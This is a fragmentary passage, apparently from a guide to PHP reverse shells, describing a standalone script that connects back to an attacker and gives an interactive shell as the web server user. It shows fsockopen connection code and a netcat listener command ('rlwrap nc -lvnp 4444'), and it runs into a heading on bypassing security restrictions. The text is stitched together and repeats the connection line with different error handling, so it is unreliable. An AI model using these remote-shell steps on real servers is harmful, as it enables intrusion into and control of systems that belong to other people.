: The undisputed industry standard. It is a standalone script that creates a TCP connection and provides an interactive shell, though it typically requires manual IP/port configuration.
// Attempt connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) die("Error: $errstr ($errno)\n");
Check your terminal. You should see a prompt like $ . You are now executing commands as the web server user (usually www-data or apache ). Bypassing Security Restrictions
rlwrap nc -lvnp 4444
$sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) printit("$errstr ($errno)"); exit(1);